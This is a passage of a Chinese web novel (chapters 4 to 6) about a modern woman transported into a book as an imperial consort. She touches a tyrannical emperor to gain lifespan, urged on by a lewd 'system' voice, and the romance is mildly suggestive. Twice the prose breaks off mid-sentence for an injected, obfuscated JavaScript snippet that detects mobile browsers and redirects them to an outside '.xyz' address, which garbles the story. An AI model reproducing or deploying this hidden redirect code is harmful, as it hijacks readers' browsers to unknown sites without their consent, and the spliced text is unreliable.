薛夷光脸色一红,看向翠羽:“啊,这是给我的吗?”
44444:嘿嘿嘿,宿主,我也想欣赏欣赏。
翠羽笑嘻嘻的点头:“这是咱们国内卖得最火,内容最详实丰富,画风最精细优美的春宫图了。殿下现在可以认真翻看,好好学习,一会儿定能让那周国皇帝欲罢不能。”
这春宫图赞誉那么高,薛夷光到底没忍住好奇,随手翻开一页,打算品鉴品鉴。
44444也聚精会神的品鉴。
这一页绘制了色彩美妙粉嫩的海棠花,微风飞过,海棠花纷纷飘落,显得无比浪漫。海棠花树下,搭建了一个精致的秋千,一对璧人正交叠着玩着秋千,他们脸色嫣红,神情沉迷。
薛夷光看得面红耳赤,心里直呼不愧是某花市的小说,他们果然很会玩。
44444感觉小脸通黄,它催促道:好看,好看,宿主再来点呀。
这系统好色呀,在现代的话,每次评论区扫.黄肯定都有它。
当然也有可能会有她。
薛夷光正要翻开下一页,前殿出便传来肖正祥公公的嗓音:“陛下驾到——”
她心里一慌,立即起身,手抖了抖,这本子立即掉到地上。
页码翻飞,画册重新露出另一对璧人幕天席地,枕着明月星空,在夜晚肆意玩乐的图画,让人越发感觉面红耳赤,潮热尴尬。
4. 第 4 章
这狗暴君来得真快,肖正祥说话间,裴恕就已经踏进了内间。
薛夷光慌张的将春宫画册藏到枕头底下。
她故作镇定的转身,对着迎面而来的裴恕行礼,立即夹住嗓子,嗓音轻柔甜美:“妾身见过陛下~,陛下万福金安~”
薛夷光心里吐槽:忍不了了,我真是好一个死夹子。
过分甜软的嗓音令裴恕抿住唇,他目光下垂,薛夷光的情状彻底映入眼帘。
都说烛光下看美人,越看越美。
这柔和暖黄的光线,朦胧的笼罩在薛夷光身上,将她白皙如瓷的肌肤增添了一层美妙柔光,那肌肤显得越发轻软细腻,如同软玉娇花一般。
她穿着浅粉色纱质寝衣,雪白柔腻的肌肤在轻纱中若隐若现,像是枝头粉白柔腻,含露凝香的桃花,格外引人采撷。
裴恕从她若隐若现的皮肤上移开,发现她肌骨分外匀称,婀娜娇美的身段在烛火静静的噼啪声中,染上了不可言说的暧昧。
纵然裴恕不好美色,但也难免被这样娇艳欲滴,欲说还休的美貌晃了一下神。
他淡淡移开视线,大步走到罗汉床上坐下,才对薛夷光温和一笑:“无需多礼,爱妃坐吧。”
薛夷光抬眼,见到他温和的笑容,又被他一句清淡的爱妃叫得头皮发麻。
这人真的神经,真怕他笑着笑着就忽然暴起杀人了。
她只好小步走到罗汉床的另一边坐下,嗓音低柔:“妾身多谢陛下。”
裴恕没有应答,他微垂下眼帘,烛火在他挺直的鼻梁间留下了长睫的阴影,显得他五官立体深邃,仪范清冷,丰神俊秀。
薛夷光说完这一句,寝殿内便陷入死寂。
她压抑着紧张,心跳有点快。
遭了,她完全不知道和这暴君说什么。说错话,她怕戳中暴君厌恶的点被他嘎了,不说话,她也怕暴君觉得自己态度敷衍而嘎了她,哎真的太难了!
在这样的寂静种,裴恕只觉得一阵若有若无的香气好似捉迷藏般,一会儿轻柔的贴近自己,一会儿又离得远远的,引得他不觉加深了呼吸。
裴恕眼神一转,看向罗汉床上的紫檀螺钿小几上。
那儿放着个做工极其小巧,模样却格外精致的博山炉。炉上细细的香雾袅袅上升,带来一种清爽微甜的感觉,这味道同薛夷光身上的香味仿佛。
这应该是她惯用的淡香。
明明这香气闻起来清淡而不浓烈,还有种淡淡清甜的感觉,在这一日比一日热的天气里,能缓解人心里的烦躁,让人感到舒适。
可裴恕却觉得,这若有若无香气混了一旁薛夷光的气息,以及她压抑的急促的呼吸,瞬间就变了味道。
这气味、呼吸,好似一张轻柔细密的网,将自己包裹在了其中,令他心底有些怪异的刺挠。
他瞥向薛夷光,见她低垂着白皙柔嫩的小脸,嫩如粉樱的唇,显得很是娇美。
裴恕心里不悦,这薛夷光,该不是故意在这儿给他装纯稚天真,结果转头让人在这香里加了东西吧?否则,这气味怎么会如此无孔不入,让人心神动摇呢?
他抬眼看向肖正祥,嗓音平静中有些凉意,让人不觉心里发寒:“这香气朕闻着很不适应,你且换了龙涎香来。”
薛夷光感觉脖子凉凉的,她深深吸了一口气,感觉这个香挺好闻的呀,不知道这裴恕是什么怪毛病,挑三拣四的。
肖正祥不慌不忙,立即接口道:“陛下惯用的东西,老奴一向都让人准备着呢!老奴现在立即让人换上。”
几乎是他话音一落,早有准备好的小太监以轻巧快速的姿态,飞速将博山炉里的香替换了。
不一会儿,龙涎香里稍重的琥珀香味,混合着众多层次丰富的香气,随着轻烟弥漫。这香味不仅不刺鼻,反而格外温润柔妙,不一会儿就将薛夷光惯用的香气徐徐吞噬殆尽。
薛夷光抬眼向裴恕看去,只见他眉眼柔和的一些,好似是心情好了,她心里也放松了点。
但更难的还在下边儿,薛夷光在红螺眼神里的期待和催促下,她笑得有点勉强:“陛下,如今天色晚了,您可要安置了?”
“看不出,爱妃竟然这般心急?”
裴恕目光凝在薛夷光脸上,她面上虽然带笑,好似很是期待害羞。可这过于清澈水润的眼睛,以及不自觉轻颤的长睫,却对侍寝透露出了明显的惧怕与抗拒。
裴恕露出兴味的淡笑,心里的恶意翻腾起来。
他从不是什么好人,既不随意透露自己的喜好,但也从未隐瞒过自己对他人的恶意趣味。
他爱看人陷入纠结为难,痛苦惧怕的场面。
他更爱看那些不顺眼的人从充满希望的美好前景,忽然陷落到满是绝望的场景下的表现。若是这一场戏剧性的盛宴,是由自己主导控制,编排设计的,那就更有趣味了!
当人陷入到充满情绪,充满人性的挣扎与充满绝望痛苦的场景中,连弱小无畏的挣扎都是令他愉悦的。
薛夷光不愿侍寝,那这无聊的夜晚就有些令人愉悦了。
裴恕起身,俯视薛夷光,一双深邃的眼瞳好像含了深情,显得格外动人。
薛夷光看呆了片刻。
裴恕低柔的嗓音里含了清淡的慵懒倦意,显得格外好听:“既然天色晚了,那爱妃就与朕安置吧。”
薛夷光呆坐在原地,惊讶得忘记夹住声音:“啊?真的侍寝?”
裴恕轻笑,笑得让薛夷光脊背发麻。
他清贵雅致的容貌因这一笑,倒是显得越发温和含情,如同话本里高门小姐最爱的如玉檀郎,世家多情公子:“爱妃不是说侍寝吗?正好朕也累了,合该同你休憩了。”
肖正祥惊讶的瞪大了眼睛,他也不敢置信的将这句话在心里转了转,回过味来后,连忙带着殿中的所有人退下。
转眼间,寝殿内就只剩薛夷光和裴恕两人。
44444没想到会这么顺利,顿时发出激动的尖叫:啊啊啊!任务进度条要上涨好多了,宿主快上啊,你千万不要放过这个裴恕!
薛夷光立即在心里反驳:系统你别信他的鬼话,这一定是假的。谁不了解谁呀,他搁着给我装呢。你别忘了,裴恕是不行的,说不定一会儿我和他盖被子纯聊天呢!
裴恕走向床榻,薛夷光看着他颀长玉立的背影,她想到他苦行僧一样禁欲的毛病,觉得那什么侍寝,纯粹是他故意说的。
她猜测他肯定是为了堵住朝中希望他成婚纳妃,绵延子嗣的臣子,做出假睡的事来。
裴恕走到床边,转身看向薛夷光,眼神深情含笑,嗓音低缓:“爱妃为何还不来?须知这春宵一刻值千金呐。”
薛夷光露出尴尬为难的笑容,不得不赶鸭子上架,走到裴恕面前。
裴恕身高极高,怕有一米八以上,薛夷光只能仰头看他。
两个貌合神离,心怀鬼胎的人双目交汇之间,好似天地都静了一瞬,不得不说,他们从容貌气质、氛围感来说,确实很绝。
44444忍不住叫嚣:嗑到了嗑到了~
好家伙,不要什么都嗑啊!系统嗑起来就没管过她的死活,薛夷光听了,差点忍不住翻白眼。
她眨眨眼睛,鼻尖嗅着裴恕的气息,被他眼神看得控制不住的结巴:“陛,陛下,需要妾身给您更衣吗?”
裴恕不喜与他人触碰,他目光扫过薛夷光柔若无骨,白皙娇嫩的双手,感觉好似新雪堆成,玉梨初绽,无比洁净。
他心里竟不是很抗拒,反而升起一股淡淡的,想要蹂躏的欲.望来。
他很快克制的移开视线,将目光放到枕头下,颇感兴趣的转移话题:“更衣之前,朕倒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127977|180141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是好奇,爱妃方才慌慌张张的藏了什么在枕头底下。”
薛夷光脑海中想到那本内容过分丰富,笔触格外细节,场景变化多样,红螺翠羽毛赞不绝口的《天下春宫图大全》,她简直一秒红温。
完蛋了,完蛋了!
麻绳专挑细处断,厄运专找苦命人。
这裴恕原小说里是个重欲又禁欲的,他应该很厌恶这种画册,万一看到了内容,他恼羞成怒,岂不是要她好看。
眼见裴恕要掀开枕头,薛夷光脑子一热,竟三步并作两步走,飞快地摁住了他的手:“陛下,枕头下没什么,天色不早了,妾身还是侍候您入眠吧?”
那阵若有若无,清甜的淡香夹杂着薛夷光的气息扑面而来,裴恕手上忽然搭上一抹微凉温软的触感。
细腻如玉的肌肤紧贴着手背的皮肤。
那处皮肤发麻中,带了过分刺激的电流和烧灼感,迅速的蔓延到手臂、脊背。
酥麻刺激感很是强烈,裴恕控制不住的呼吸急促,心跳加快,身体轻微战栗起来。
他原本含笑的眼神,一瞬间显得格外深邃沉重。
视线扫过眼前薛夷光纱裙下若隐若现的细柳腰肢,香酥雪腻,他立即移开眼去,要尽力克制却又见她那双格外无措,含泪盈盈的眼。
裴恕喉结滑动了一下,心里恶意翻滚,控制不住的想要狠狠的欺负她。
只要想到她痛苦的,欢畅的,控制不住的,求饶的,沉沦的眼泪因为自己流得越多,连她的情绪都将由自己完全掌控,他呼吸越发急促起来,狭长的眼尾处染上病态的潮红。
薛夷光莫名感觉气氛变得危险起来,想到裴恕厌恶别人接触的毛病,她吓得半死,立即移开自己的手,哆哆嗦嗦的低头跪下:“妾身一时心急失礼了,请陛下宽恕。”
温暖的触感抽离,裴恕咬了咬舌尖,闭上眼片刻,极力压抑住自己的变化。
他掀开枕头,尝试分散注意力,却见到一本色彩鲜艳的春宫图跌到床下,随意翻开的页码,内容极为露骨刺目。
心火又烧了起来,一时半会儿怎么压都压不下去。
裴恕看着眼前的薛夷光,极力克制着中,心里对她生出几分迁怒烦躁来:“薛婕妤,朕倒看不出来,你还是个颇有手段,心思不净的。朕看你过于沉溺于男女之事,有魅惑君主的邪心,便罚你室内诵《清静经》,以正性情,以清心智。”
薛夷光:?不是,你要不要听听你在说什么啊!
沉溺男女之事,魅惑君主的邪心,裴恕说的真的是她吗?真是好大一口大锅啊!
可薛夷光心里再骂骂咧咧,现实的她也只能乖乖领罚。
大半夜的,裴恕脱去外衣,躺进了属于薛夷光的床。床还解了床帐,层层叠得的帷幕,彻底遮挡了薛夷光的视线。
44444在迅速瞄了一眼,对薛夷光咂嘴:宿主可惜了,我看得真真的,这裴恕衣服下的身子,真是肌理流畅有力,蜂腰猿臂,宽肩窄腰,绝对是仙品。对了,说到大,他那里也真很不错。
薛夷光对这个满脑子搞颜色的破系统绝望了,好在她和裴恕摸手接触了,寿命又加了一天。
说起来,裴恕还怪神经的,他令肖正祥给薛夷光拿了一本《清静经》,还让她就站在离床五步的地方,开始背对着床诵读。
他的嗓音从床帐里徐徐传来:“薛婕妤,你嗓音正常些,不准撒娇。”
薛夷光:“......”
不是,大哥,你这真的对吗?
薛夷光没想到穿书了还要熬夜上夜班卖命,她立即蔫了下来,嗓音一点也没夹着,只有满满的冷漠和活人微死的气息。
“......常能遣其欲而静其心,澄其心而神自清,自然六欲不生,三毒消灭......”
裴恕:“......"
5. 第 5 章
换了个宫殿,裴恕原本以为自己会彻夜难眠。谁知薛夷光轻柔慵懒的嗓音,隔着床帏传出后,显得越发柔软。
这嗓音配着往日他常念诵的《清静经》,竟让他浑身的燥热慢慢消下,身心变得宁静起来。
他听到她轻轻打了几个哈欠,嗓音里也像是沾了水汽一般,变得越发缓慢悠长,连诵读的话语也变得含含糊糊的,好似她下一刻就要昏睡过去。
竟然这么困吗?
裴恕感觉自己被传染了,他也打了个哈欠,渐渐放松警惕,慢慢合上眼睛睡了过去。
薛夷光捧书站在殿中,睡意翻涌起来,她感觉书里的字变得跟蚂蚁一样扭曲模糊。
实在困得很了,她忍不住闭上眼睛,站在原地就睡了过去。
不知过了多久,薛夷光身子抖了抖,猛然醒了过来。
她睁眼便看见四周古色古香的环境,混沌的脑子立即清醒过来。
哦,我穿越了呀!
薛夷光:宿主,我睡了很久吗?感觉我睡得很香很久。
44444道:宿主放心,你就睡了两分钟,没有很久。
薛夷光松了口气:笑死,高中能站着睡着的技能,那种只睡着一分钟,却感觉有半小时的效果,竟然在此刻重新恢复了,可见我困到了什么地步。
想到自己停下诵读一会儿了,薛夷光屏住呼吸,半晌都没听到裴恕那暴君冷斥的声音。她心里战战兢兢,又等了一会儿,还是没等到裴恕说话。
难道这狗东西睡着了?
但以他的警惕,他不应该会在这里睡着啊。
44444能检验到裴恕睡着了,却不住怂恿她:睡没睡着,你亲自看看去啊。万一裴恕睡着了,你还能爬上去跟他一起睡呢。嘻嘻,这不就正中下怀了吗~
薛夷光:......跟他一起睡,我又不是不要命了。
薛夷光踮起脚尖,一点嗓音都不敢发出,她一步步往床边挪去,浑身紧绷得不行。
44444:宿主偷感好重。
薛夷光紧张感少了许多,她嘴角抽了抽,对这个无法提帮助还说风凉话的系统和咬牙道:闭嘴,再说话打爆你的狗头。
一步,两步,短短十来步的距离,硬生生被她走了许久。
好不容易靠近床边,薛夷光不敢贸然掀开床帐,只用气音询问:“陛下,陛下,您睡着了吗?您老要是没睡着的话,可以吱一声吗?”
话说我也想下班,我也想睡觉啊。
没有声音传来。
薛夷光只好硬着头皮,伸出手指将床帐掀开一小条缝隙,从缝隙当中小心探看。
重重叠叠的床帐笼罩之下,光线显得昏暗柔和,减少了白日里明亮锋利的感觉。
这床还是薛夷光让人特意布置过的,樱草色的薄罗床幔显得格外清爽透气,搭配雪缎白底绣海棠软被,看上去很是温柔雅致,柔软舒服。
裴恕就躺在这样的床上睡得正熟。
他发冠早已拆了,一头乌发散在枕边,平日深沉锐利的眼睛看不见了,只剩下平静宁和的好看眉眼。
可见是酣睡了。
裴恕穿着素白的寝衣,微散的领口露出了修长的脖子和锁骨,呼吸间胸膛处的肌理也起起伏伏。
暖橘色烛光之中,他冷白的肤色被染上了一层溶溶暖色,好似成了一块暖玉,让他看上去越发清俊温润。
此刻的裴恕不似一个掌握天下权柄,转眼间就会杀人无数的暴君。反而像是个皎然玉树,温润如玉的翩翩世家子弟。
44444忍不住吹了个口哨:这真是顶级大美人啊!皮相、骨相、气质一流,宿主,这可是个亲密接触的好机会,你还不动手?
确实是个机会,但要是裴恕忽然醒来,说不定她就玩完了。
薛夷光看了看她手上的生命倒计时,踌躇了片刻,还是伸出手来,颤抖着的摸了摸裴恕散落在被子外边的头发,就飞速撤回。
她瞄了一眼手腕上的倒计时,生命增加了1天。
薛夷光:好欸!
44444越发怂恿:光摸头发这哪里够,你继续啊!尺度大一点,我看他胸肌倒是不错,脱衣有料的样子,正适合伸手把玩一二。
薛夷光:我看你就是想要我死。
这尺度她可不敢,光是摸头发,都是她鼓足勇气做的。再来一次,说不定就玩完了,现在她还手软脚软着呢。
胆子上来,薛夷光又伸出手,颤抖的摸了两次裴恕的头发。
她低头看看手腕,果然寿命又增加了两天。
可能是一鼓作气,三次后勇气就衰竭了,薛夷光不甘再动手,她因为这偶然得到的三天寿命心满意足。
别说,这裴恕睡着了长得真的挺好看的,可惜对她来说,他现在一睁眼,她就不行了。
薛夷光扫了两眼他熟睡的样子,她紧绷的身子松缓下来,睡意又不可阻挡的卷土重来。
可惜她的床被占了,薛夷光只好轻手轻脚,慢慢挪到了罗汉床边。
她将罗汉床上的小几搬开,找了件厚点的外衫,爬到罗汉床上,盖着外衫睡了。
她不敢睡得很熟,打算等寝殿外边的太监叫裴恕起来上朝,就立即爬起来,站在刚才站的地方,读那该死的《清静经》。
为了防止自己起不来,薛夷光对系统道:44444啊,一会儿你提前几分钟喊我,让我有个准备。
44444满口答应,转头连了某个停车场网站,沉浸在大尺度的塞车小说当中,一边看一边吐槽宿主胆小,攻略缓慢。
可惜啊,薛夷光高估了自己的作息,高估了系统的靠谱,以及低估了古代的作息。
早起实在太难了!
更何况,皇帝卯时一到(早上五点到七点)就起来准备早朝,这简直不是人过的日子,也让现代人的作息根本适应不了一点。
这一夜格外的平静宁和,没闹出什么乱子,守夜的太监护卫感觉诧异。
卯时一到,原本少眠的陛下竟然还没有动静。
肖正祥怀着惊讶无比的心情,在门口轻声叫起了两声,这才得到裴恕的传唤。
一夜好眠,裴恕也没想到自己竟然能睡得如此香甜。
睡好后,他心情尚佳,自己拉开床帏,却见原本应该在殿中诵读的薛夷光,此刻躺在软榻上睡得香甜无比。
她一头乌发满床散落蜿蜒,浅粉纱质睡衣睡得凌乱散开,雪白细腻的皮肤和曼妙的身段随意露着,晃眼得很。
裴恕移开视线,眉头微微皱起。
这一大早的,男子本就容易心神不定,偏偏这薛夷光还故作魅惑模样,她这引诱人的手腕实在高深。
昨夜的龙涎香已经燃尽,裴恕又感觉周身若有若无笼罩着薛夷光的气息,他心绪开始起伏,感觉周遭闷热,他面上越发显得冷淡了些。
肖正祥带着八个捧着朝服、温水、锦帕的太监,见裴恕神色,心里暗道不好。
他瞄了一眼睡得沉沉的薛夷光,见她的模样,心里一动,不由连忙唤了红螺为她严严实实的穿上外衫。
红螺将薛夷光叫醒:“娘娘,时辰到了,您该伺候陛下洗漱更衣了。”
薛夷光迷迷糊糊的,脑子不大清醒,一脸的睡意昏沉。
裴恕见状,反倒轻笑一声,看来是他误会了,这人是真睡不是假睡。
不过能在自己身边睡得如此香甜的人,裴恕还是第一次见。
他忍不住将眼前睡得脸颊泛粉,睡眼朦胧,迷迷糊糊的薛夷光,将脑海中那个跋扈骄纵,善妒刻薄的薛夷光做对比。
裴恕越发感觉此人变化极大,好似换了个内里似的。
他唇角浅浅勾起,真有意思,一个人怎么能转变得如此大呢?他倒越发好奇这其中有什么玄机了。
裴恕意味不明道:“薛婕妤倒是睡得香甜,一切不管不顾了呢。此前薛婕妤说爱甚了朕,如今连为朕梳洗都做不到,她或许是说了假话,故意蒙骗于朕吧。”
蒙骗皇帝,乃是欺君之罪。
这淡淡的嗓音中并无怒意,可就是令捧着衣裳、冠冕的太监立即跪了下来,头颅深深低下,哆哆嗦嗦不敢多说一句。
殿中一时陷入冷寂,气氛凝重,让人心中发寒。
红螺看着还不是很清醒的薛夷光,心里又怕又怨,只好在她耳边重复了一遍,语气有些急促发抖。
“娘娘快起吧,快起吧,莫要贪睡了,您真的,真的该伺候陛下更衣洗漱了。”
她扶着薛夷光的手不自觉用力,指甲掐到薛夷光肉里。
刺痛感让薛夷光清醒过来,一睁眼就是跪了一地的宫女太监。
遭了,她竟然睡过去了!
该死的系统,一点也不靠谱。
这暴君一起来看见她也睡在寝殿里,不知道会不会发火。别人发火还好,裴恕发火是要命的。
她抬起头,刚好对上裴恕饶有兴味的眸子,她吓得一哆嗦,立即扶着红螺的手站了起来。
故作深情的用一双睡眼朦胧,水光氤氲的桃花眼看着裴恕:“陛下早安。”
薛夷光简直将自己看过的小说内容复制一遍,想象自己是钦慕皇帝的妃子,忍着害怕和羞耻,开始一顿输出。
她脑子飞快转了转,本来想要换些文雅含蓄,有文采的话来表达心意。
可想了想她还是想不起来,只好道:“妾想到陛下昨夜歇在臣妾殿中,心中便高兴得不能自已。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127978|180141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
昨夜读着经文,臣妾却不能克制自己的爱意。”
“夜深了,妾昏沉睡过去后,竟梦见了陛下。妾不醒来,是因为舍不得梦中的陛下,现在醒来见了陛下,妾心里越发喜爱您了。”
肖正祥和满殿宫女、太监又听着薛婕妤再次说着这些过于直白狂放,大胆肉麻的话,只觉得脸都开始发麻了。
薛夷光起身,披着外衫走到裴恕身边,离他三大步远,含情脉脉道:“陛下,不知臣妾能否有幸伺候陛下更衣洗漱?”
问是这么问,但薛夷光肯定裴恕肯定不愿意的她伺候洗漱,毕竟他讨厌别人碰他。这样再好不过了,因为她也很讨厌上班伺候人。
裴恕看着薛夷光清澈羞窘,强撑胡编的样子,他点了点头,随性张开了双臂。
“既然薛婕妤都如此说了,看来你是求之不得。朕也成人之美,将这洗漱更衣之事,便交给你罢。”
虽他不喜欢别人触碰,可他喜欢勉强旁人做自己不喜欢的事情呢。为了这点趣味愉悦,忍受一点不适,倒是可以。
薛夷光瞪大了眼睛,一脸不敢置信:“啊?”
交给我?交给我什么?
按照人设,你不是不近女色,且有瘾症,讨厌别人触碰。
你不是该狠狠的拒绝我,再告诉我不要有非分之想的吗?
你现在到底在干什么啊?
裴恕看着薛夷光惊呆的表情,淡笑道:“看来,薛婕妤是高兴傻了呢,都有没反应过来。快些吧,若是再等你反应一会儿,朕的早朝便赶不及了。”
面对嘲讽,薛夷光连忙陪笑:“臣妾这就给陛下更衣。”
她走到裴恕身边,从太监托盘里先拿出中衣,踮着脚尖给裴恕穿上。
没办法啊,裴恕太高了,衣服也很长。不踮着脚,她害怕衣角拖地弄脏了,裴恕你一个发怒,自己就没命了啊。
穿衣服太难了,等薛夷光给裴恕穿好中衣,她的手已经有点酸了。
中衣也是需要系衣带的,可是薛夷光根本不会系。
她想了想,低头环住裴恕的腰,将衣带子捏在手里,然后在裴恕腰间比划来比划去。
手也捏着带子在他到底腰上移来移去,想要找到合适的位置,但她平常几乎没见过这种衣服怎么穿,所以一时拿不定主意。
不过,薛夷光想着还要穿外边的朝服,里面的衣服穿错了点也没关系。
她感觉自己的手划过裴恕的腰,他身子紧绷了一瞬。
薛夷光立即敲响了保命的警钟,感觉他可能不耐烦了,手微微发抖,直接开始系衣带。
裴恕的腰被那薛夷光的手摸来摸去,浑身肌肉都紧绷了起来。对旁人来说只是轻微的酥痒,对他来说却是翻了许多倍的,难以克制的酥麻难耐。
裴恕只感觉这股感觉顺着腰部,快速攀爬到浑身。
她指尖微凉的温度,通过薄薄的绸料传到的腰间,带来怪异的痒。
她摸人腰也是没有章法的,根本不知道她下一瞬会摸到腰部的哪个位置。所以这偶然性的刺激感,伴随薛夷光越发急促的呼吸,让他心更是鼓噪起来。
薛夷光衣服还没穿好,便被裴恕一把推开。
力道不大,但薛夷光确实吓到了。
她紧张的朝他看去,脸颊上有紧张的嫣红,说话语无伦次,颠三倒四的:“陛,陛下恕罪,妾长在深闺,未曾见过男子中衣,不知如何下手。”
裴恕幽深的眸子越发冷了,他眼神一扫,入眼的却是薛夷光薄衫下半遮半掩的锁骨,若隐若现起伏着的如雪似酥。
他喉结滑动,用力闭了闭眼,睁眼后立即移开视线。
这般蛊惑君王,狐媚惑主的手段,这薛夷光还说自己长在深闺,不知如何下手?
裴恕向前两步,语气里有股难以抑制的燥意:“长在深闺?爱妃何须如此作态,这朕看你这手段,倒是不俗得很。”
薛夷光睁大眼睛,满脸疑问。
裴恕见她还装,便令她去一旁边诵边抄《清静经》。
他令人送来凉水洗漱,穿戴整齐后,清朗如月的脸上含着一抹寒霜,大步朝外走去。
薛夷光急急站起来:“妾身恭送陛下。”
裴恕头也不回的快速离开,带着一种压迫的气势,好似他很生气。
薛夷光:?
不是,裴恕你这么喜怒不定,真的有病吧?
她低头看见自己手上的倒计时,因为碰到裴恕的肩膀两次,腰部两次,总共寿命已经有十八天,心里非常高兴,虽然有点难,但这寿命还是有办法能增加的。
可是也看见了那本《清静经》,她又心梗极了,觉得裴恕阴晴不定的,要不然喝点农药调理调理算了。
6. 第 6 章
裴恕一走,薛夷光立即被侍女带着洗漱,迷迷糊糊又换了一身舒适素雅,布料柔软的衣裳。
然后她坐在了桌案旁边,看着铺平的《清静经》开始发愣。
不是,狗皇帝,你自己看看这对吗?
现在才早晨六点多,坐这抄书,这和高中早自习有什么区别?
红螺端来了些清爽的糕饼:“殿下用些红豆软糕垫垫肚子,再动笔抄写吧。”
薛夷光回神,恍恍惚惚的拿了一块软糯香甜的红豆糕,两手捧着在嘴边,眼神呆滞,慢吞吞的啃着,语气含糊:“好,好困啊。可是我不想吃东西,我只想睡觉。”
早六,太早了,好痛苦。
红螺在一旁和翠羽在一旁絮絮叨叨,嗓音又轻又小,确保不会被他人听去。
红螺:“殿下,方才陛下亲口令您抄书的,您应该好好听他的话,顺着他的心意来。这时间久了,您还愁什么目的达不成吗?”
薛夷光漂亮的眼睛越发呆滞,嘴巴里嚼嚼嚼,啥也听不进去。
翠羽见薛夷光无动于衷,便立即接上话头,只是她嗓音越发小了,好似在同薛夷光耳语。
“是呀,殿下身为越国公主,享了越国百姓的敬仰爱戴,四海供养。如今那暴君还愿意亲近殿下几分,这可是大好机会,殿下应该好好把握,好好伺候这位陛下,也好解我越国困局。”
薛夷光啃一口红豆糕,继续目光涣散的嚼嚼嚼,嚼嚼嚼。
红螺只觉得二公主果然白瞎了她的机会和美貌,如此不肯上道,只会呆呆傻傻的啃食糕子,这还有什么指望?
她压着气和悲凉感,轻轻推了推薛夷光:“殿下,这周国陛下暴虐,您要活下来,日后肯定也是要讨他喜欢的。如今越国形势不好,您对他更要殷勤一些,奴婢不仅是为越国考虑,更是为了殿下考虑呀。”
薛夷光困得眼睛都睁不开,她机械性的啃着红豆糕,偶尔打着盹,压根对这两人的话左耳进右耳出。
红螺见薛夷光对越国之事都打不起半点精神,神色不由冷了下来,心里又是恨铁不成钢,又是看不起这个越国二公主。
她心里叹气。
哎,如果大公主殿下没有想不开逃婚,要是大公主来到周国,依照她深明大义,善良纯真的好品格,说不定早就迷得这大周暴君晕头转向,拜倒在大公主殿下的石榴裙下,答应不再打越国了。
可惜来得偏偏是这个不识大局,上不得高台面的二公主,导致越国谋划的事情没有一点进展。偏偏她还不将心思放在周国皇帝上头,她如此忽视越国的安危,实在不配为一国公主。
红螺眼珠转了转,心里思索起来。
看来,应该给二公主下一方重药了。
薛夷光实在困倦,翠羽见状,只好沏来了一壶酽茶,倒了一杯放在她唇边:“殿下喝点浓茶,便有精神抄书了。”
裴恕金口玉言,这书无论如何是要抄的了。
薛夷光就着她的手,慢吞吞将苦得让人流眼泪的茶水喝了。
不知翠羽放了几斤茶叶来泡这一小盏茶,茶闻起来香得很,可茶水经过口腔咽喉,好似中药一般满是浓郁苦涩。等茶水咽下后,更是苦到了五脏六腑里。
薛夷光脑子瞬间清醒不少,她苦得打了个哆嗦,脸蛋皱起来,右手执笔,左手压书抄写,一边写一边心里吐槽。
哎,她的命真苦啊,比这盏浓茶还苦。
现代打工牛马的草料是咖啡,现在她都穿越了,依旧有自己的草料。
薛夷光苦巴巴的抄写,抄抄停停,不知是不是系统的功效,她写得和原主写的字迹一模一样,倒是出什么岔子。
约莫过了两刻,殿前守值的小宫女便前来禀告:“娘娘,拾翠殿的云美人来见您了。”
薛夷光还不如何呢,红螺和翠羽像是拉响了警报一样。
红螺起身,语气里含着恶意:“这卫国的长公主,一看就自命清高,不是个好相与的。殿下同她一道觐见,谁知她只封了个美人,殿下却得封了婕妤。”
“位份上比她高了一头不说,您还是第一个给陛下侍寝的嫔妃,想来她心里也嫉恨得不行。眼下陛下才走一个时辰,她便巴巴来见,指不定是没安好心。”
翠羽一旁附和:“就是就是,殿下暂时别写了,我们去好好梳妆,您定要在气势和容貌上狠狠压她一压,大展我越国气度仪范。”
薛夷光将毛笔放在笔山上,软软瘫坐,满脸拒绝。
救命啊,又是化妆、选衣服、梳头发、各种换钗自簪子,这过程简直又繁琐又累。
薛夷光忍不住摆烂,声音有气无力:“算了吧,我累了。”
“这一晚上心惊胆战的,被子不得盖,床不得睡,站着捧书念了大半夜。这大清早又起来抄书,连个回笼觉也睡不成,现在还要我又是梳妆,又是打扮的,我没力气了,就这样吧。”
翠玉恨铁不成钢,很是着急:“殿下,这如何能行?那云姎定在前厅装点隆重的等您,您代表着越国,怎么能让她一个卫国人将您比下去呢?”
越国越国的,薛夷光心里翻了个白眼,她哪里是什么封建主义下的越国二公主?她皮下是社会主义下打工人,对那什么越国根本没有什么忠心的想法。
更何况,原来的二公主是被越国皇室逼迫,替薛妙霜来卫国嫁暴君的,原主本身还想报复越国呢。
什么促成越国和平,多向裴恕吹耳旁风,多为越国做贡献,她可没有这样的高尚觉悟。
她就只想好好做任务苟命,什么时候时机成熟了,寿命攒够了,要是有朝一日能出宫,就攒钱出宫买个宅子生活,兴致来了访一访这古代的大好山河。
要是出不了宫,她就做做任务,攒点寿命当做活命的薪水,将裴恕当成大老板,将这蓬莱宫当成常住的房子,能活一天是一天。
打定主意,薛夷光更是一动不动。
红螺也劝不了薛夷光,只好压着心里的怒气,脸上强挤出个笑脸。
“殿下既然要如此去见云美人,我们当奴婢的自然会遵循您的命令,只是万望殿下行事之时,还未我们越国考虑一二。别忘了,您毕竟是越国锦衣玉食养大的公主,如何能肆意行事,不顾大局呢?”
她还真就不顾大局了。
